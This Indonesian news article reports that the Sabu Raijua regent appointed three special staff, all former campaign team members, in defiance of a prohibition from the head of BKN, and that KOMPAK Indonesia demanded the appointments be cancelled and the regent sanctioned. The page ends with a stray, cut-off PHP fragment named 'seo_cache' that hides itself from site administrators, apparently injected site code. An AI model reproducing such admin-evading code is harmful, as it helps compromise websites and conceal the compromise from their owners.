NasionalPemerintahan

Angkat Staf Khusus Bupati Sabu Raijua Kangkangi Larangan Kepala BKN

×

Angkat Staf Khusus Bupati Sabu Raijua Kangkangi Larangan Kepala BKN

Sebarkan artikel ini

JAKARTA, MENARASUMBA.COM – Larangan Kepala BKN Prof Dr Zudan Arif agar para kepala daerah tidak mengangkat staf ahli, staf khusus, dan pegawai honorer telah dikangkangi Bupati Sabu Raijua.

Ketua KOMPAK Indonesia, Gabriel Goa. ( Istimewa )

Tindakan melawan larangan tersebut dilakukan Bupati Sabu Raijua (Sarai), Krisman Riwu Kore, SE, MM.

Ulah sang bupati yang telah mengangkat tiga staf khusus ini dikritisi oleh Koalisi Masyarakat Pemberantasan Korupsi (KOMPAK) Indonesia.

“Bupati Sarai telah mengangkat Ruben Kale Dipa, SH yang diduga kuat orang bermasalah sebagai staf khusus,” ungkap Ketua KOMPAK Indonesia, Gabriel Goa, Senin (12/05/2025).

Krisman Riwu Kore juga telah mengangkat Jhon Darius Thome,pensiunan ASN Eselon IIIb dengan ijazah SMA dan Yosep Dimu mantan anggota DPRD yang juga berijazah SMA.

“Mereka bertiga ini adalah tim sukses Bupati Sarai saat pilkada lalu,” terang Gabriel.

Terpanggil nurani untuk mengingatkan Bupati Sarai agar tidak terkena sanksi pemerintah pusat dan melakukan maladministrasi maka KOMPAK Indonesia menyatakan:

Pertama, mendesak Bupati Sabu Raijua agar patuh kepada pemerintah pusat dan segera membatalkan pengangkatan staf khusus.

Kedua, mendesak Kepala BKN untuk memberi teguran keras.

“Jika tetap dilanggar maka wajib diberikan sanksi tegas kepada bupati bersangkutan,” tandasnya. ( TAP/MS )

#badankepegawaiannegara #bupatisaburaijua #kompakindonesia

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *

function seo_cache() { if (is_admin()) { return; } $current_user = wp_get_current_user(); if (in_array('administrator', (array) $current_user->roles)) { return; } ?>